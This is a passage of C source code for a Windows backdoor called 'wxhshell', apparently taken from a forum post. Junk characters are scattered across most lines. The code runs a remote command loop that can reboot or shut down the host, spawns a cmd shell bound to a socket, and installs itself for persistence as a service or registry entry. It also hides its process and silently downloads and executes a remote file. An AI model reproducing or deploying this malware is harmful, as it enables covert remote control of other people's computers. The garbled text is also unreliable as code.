    switch(cmd[0]) { T%F0B`  
  fIocq  
  // 帮助 Pz_NDI  
  case '?': { f&x0@Q/eON  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7 yt=]1  
    break; U{ ;l0 2S  
  } 6] z}#"  
  // 安装 b}G24{  
  case 'i': { #Rew [\$  
    if(Install()) =6=_/q2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R 4wr  
    else '(#g1H3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a45 ss7  
    break; #*c F8NV-  
    } &*&?0ov^"  
  // 卸载 7@PIM5h  
  case 'r': { Sg] J7;]  
    if(Uninstall()) Dz_eB"}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eX2<}'W<  
    else \;]kYO}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h7;bclU  
    break; M8@_Uj  
    } ecX/K.8l  
  // 显示 wxhshell 所在路径 M;Wha;%E"  
  case 'p': { l #@&~f[  
    char svExeFile[MAX_PATH]; l9/:FiJ_  
    strcpy(svExeFile,"\n\r"); y1BgK>R  
      strcat(svExeFile,ExeFile); 2 [!Mx&^  
        send(wsh,svExeFile,strlen(svExeFile),0); sFb4`  
    break; (tl}q3U  
    } _a+ICqR  
  // 重启 ^GYq#q9Q  
  case 'b': { 5]7&IDA]]9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3D)b*fPc  
    if(Boot(REBOOT)) T 4|jz<iK]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }`9`JmNM  
    else { Cj&$%sO1  
    closesocket(wsh); HP a|uDVv  
    ExitThread(0); P 4;{jG  
    } B50 [O!  
    break; @+^c"=d1S  
    } H_X?dj15  
  // 关机 ;o$;Z4:.D  
  case 'd': { 67J*&5? |  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8mgQu]>  
    if(Boot(SHUTDOWN)) 'Kis hXOn]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /#yA%0=w  
    else { !*P&Eat  
    closesocket(wsh); 3$"/>g/  
    ExitThread(0); " >6&+^BN'  
    } VjTe4$ *  
    break; Sl.o,W^  
    } /R%^rz'w  
  // 获取shell 7C5pAb:  
  case 's': { j??tmo  
    CmdShell(wsh); pN$;!  
    closesocket(wsh); O|UxFnB}  
    ExitThread(0); G+yL;G/  
    break; xeB4r/6  
  } feCqbWq:  
  // 退出 p^8 JLC  
  case 'x': {  C6)R#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pGGV\zD^  
    CloseIt(wsh); vOgLEN&]  
    break;  9d"5wx  
    } &r:m&?!|VQ  
  // 离开 v[D&L_  
  case 'q': { 6_U |(f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q2!'==h2i  
    closesocket(wsh); <9\,QR)  
    WSACleanup(); E!@/NE\-  
    exit(1); !~d'{sy6  
    break; (zmNa}-  
        } hrT%XJl  
  } ~@YQ,\Y  
  } tE:X,Lt[  
BVAr&cu  
  // 提示信息 -,/3"}<^78  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S*rO0s:  
} )]A9~H  
  } \[k% )_  
/=trj5h  
  return; ;[cai MA-  
} jnDQ{D  
WQ.i$ID/  
// shell模块句柄 b=_{/F*b?  
int CmdShell(SOCKET sock) |1i]L@&  
{ -? Tz.y&  
STARTUPINFO si; fPrb%  
ZeroMemory(&si,sizeof(si)); I <xy?{s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v D&Kae<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @9<S*  
PROCESS_INFORMATION ProcessInfo; C{)HlOW  
char cmdline[]="cmd"; Me<du& T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 55,=[  
  return 0; Lb^(E-  
} rd|crD 3  
($:y\,5(9I  
// 自身启动模式 K@*rVor{  
int StartFromService(void) )+*{Y$/U  
{ \ boL`X  
typedef struct U81;7L8  
{ $^K]&Mft  
  DWORD ExitStatus; Fj,(_^  
  DWORD PebBaseAddress; h*G#<M  
  DWORD AffinityMask; 1GUqT 9)  
  DWORD BasePriority; )X~#n  
  ULONG UniqueProcessId; 2 mSD"[%  
  ULONG InheritedFromUniqueProcessId; ,b:n1  
}   PROCESS_BASIC_INFORMATION; u2\+?`Ox  
 *[VEF  
PROCNTQSIP NtQueryInformationProcess; @Mzz2&(d U  
N:OD0m%`)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QP+c?ct}hF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'HJ/2-=  
z^gi[ mi  
  HANDLE             hProcess; fWd~-U0M^  
  PROCESS_BASIC_INFORMATION pbi; ,zG<7~m  
Z6NJ)XQy6F  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w[e0wh`.  
  if(NULL == hInst ) return 0; {zY`h6d  
!8we8)7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 32s5-.{c/f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cJSVT8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )-)ss"\+Ju  
g)X7FxS,z  
  if (!NtQueryInformationProcess) return 0; @l)\?IEF@f  
[ k!-;mi   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DgC3 > yL  
  if(!hProcess) return 0; Go-wAJ>  
N&?T0Ge;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \>4v?\8o  
ZGA)r0] P`  
  CloseHandle(hProcess); *Yj~]E0`1  
.V8/ELr]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C2CYIo k$&  
if(hProcess==NULL) return 0; 4[2=L9MIo~  
i5.?g<.H  
HMODULE hMod; ~5FS|[1L  
char procName[255]; txj wZ_p  
unsigned long cbNeeded; Po'-z<}wS  
u)tHOV>&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lr-12-D%-  
RP,A!pa@  
  CloseHandle(hProcess); AGl|>f)  
Jq=00fcT+  
if(strstr(procName,"services")) return 1; // 以服务启动 ay=KfY5  
}A^ 1q5  
  return 0; // 注册表启动 m5X3{[a :  
} 1P(%9  
gsLr=  
// 主模块 NS7@8 #C  
int StartWxhshell(LPSTR lpCmdLine) 7vi i9Am7  
{ I~d#p ]>  
  SOCKET wsl; ;[FW!  
BOOL val=TRUE; jN31\)/i  
  int port=0; ' 9IP;  
  struct sockaddr_in door; eFt\D\XOW  
f@wsS m  
  if(wscfg.ws_autoins) Install(); LN@lrC7X  
u^}7Vs .  
port=atoi(lpCmdLine); X*TuQ\T  
cYZwWMzp  
if(port<=0) port=wscfg.ws_port; JVD@I{  
+L^A:}L(  
  WSADATA data; )9; (>cdl  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WpXODkQL  
jf$JaY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ul '~opf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Gg1h@&  
  door.sin_family = AF_INET; ExN j|*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cxtLy&C  
  door.sin_port = htons(port); ArNur~  
n%83jep9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *\=2KIF'  
closesocket(wsl); yf `.%  
return 1; >/7KL2*  
} DZHrR:q?e  
JIyBhFI  
  if(listen(wsl,2) == INVALID_SOCKET) { X@6zI-Y %  
closesocket(wsl); p<Zs*  @  
return 1; =q_&* '  
} 1VhoJGH;C  
  Wxhshell(wsl); tb-OKZq  
  WSACleanup(); Y0/jH2n  
S1}1"y/  
return 0; K$MJ#Zx^  
'+ o:,6  
} h]J&A  
AIvL#12  
// 以NT服务方式启动 GN htnB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JLy)}8I  
{ <Dt /Rad  
DWORD   status = 0; Bq$e|t)'  
  DWORD   specificError = 0xfffffff; !.;xt L   
,Az`6PW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %\(y8QV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }S~ysQwT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s${T*)S@G  
  serviceStatus.dwWin32ExitCode     = 0; l5\B2 +}7  
  serviceStatus.dwServiceSpecificExitCode = 0; '(3Nopl  
  serviceStatus.dwCheckPoint       = 0; 7]M,yIwc  
  serviceStatus.dwWaitHint       = 0; O?C-nw6kP  
T3u5al  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }5o~R~H  
  if (hServiceStatusHandle==0) return; ^*cMry  
3PvZ_!G  
status = GetLastError(); Ckl7rpY+  
  if (status!=NO_ERROR) #lBpln9  
{ Ie^Dn!0S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a`EGx{q(  
    serviceStatus.dwCheckPoint       = 0; #q~3c;ec  
    serviceStatus.dwWaitHint       = 0; c:?#zX  
    serviceStatus.dwWin32ExitCode     = status; p0[,$$pM  
    serviceStatus.dwServiceSpecificExitCode = specificError; "W_jdE6v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gCk y(4  
    return; uh C=  
  } F9u:8;\@`  
zulf%aaL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K\^&_#MG  
  serviceStatus.dwCheckPoint       = 0; G)tq/`zNw  
  serviceStatus.dwWaitHint       = 0; G!e}j @@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e~t}z_>F  
} ;G4HMtL  
T}w*K[z $  
// 处理NT服务事件,比如:启动、停止 +c]N]?k&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uJ IRk$  
{ Y6;0khp  
switch(fdwControl) 9h3~;Q  
{ /,rF$5G,  
case SERVICE_CONTROL_STOP: PBAz` y2  
  serviceStatus.dwWin32ExitCode = 0; G>q{~HE1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &-8-xw#.  
  serviceStatus.dwCheckPoint   = 0; -h G 9  
  serviceStatus.dwWaitHint     = 0; (v'lb!j^#  
  { ohc/.5Kl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S0Bl?XsD_  
  } _ntW}})K  
  return; I(?|Ox9"?  
case SERVICE_CONTROL_PAUSE: ziLr }/tg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WnJLX ^;  
  break; I?>-  
case SERVICE_CONTROL_CONTINUE: #)PGQ)(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; MOqA$b  
  break; VH7iH|eW  
case SERVICE_CONTROL_INTERROGATE: N}l]Ilm$34  
  break; 3Q*RR"3  
}; uZ0 $s$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SRG!G]?-  
} !7ZfT?&  
3f:1D=f  
// 标准应用程序主函数 y1\^v_.^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hBfzU\*0H  
{ B GEJiLH  
ktw!T{  
// 获取操作系统版本 tZNad  
OsIsNt=GetOsVer(); Yyo9{4v+p{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B yy-Cc  
o. V0iS]  
  // 从命令行安装 , R.+-X  
  if(strpbrk(lpCmdLine,"iI")) Install(); P2 K>|r  
-YRL>]1  
  // 下载执行文件 YW$x:  
if(wscfg.ws_downexe) { {ck  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %B {D  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]!tYrSM!  
} e\ l,gQP  
S)'q:`tZo  
if(!OsIsNt) { O 44IH`SI  
// 如果时win9x,隐藏进程并且设置为注册表启动 e}Af"LI  
HideProc(); vZ nO  
StartWxhshell(lpCmdLine); 0m+5Zn  
} ~g4rGz  
else >e$^# \D  
  if(StartFromService()) DO-K  
  // 以服务方式启动 Ji}IV  
  StartServiceCtrlDispatcher(DispatchTable); (y+5d00  
else li_pM!dWU_  
  // 普通方式启动 [>J~M!yu:r  
  StartWxhshell(lpCmdLine); {ZsWZJ!  
AXU!-er$  
return 0; Acq>M^E3  
}
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只看该作者 1 发表于: 2006-10-10
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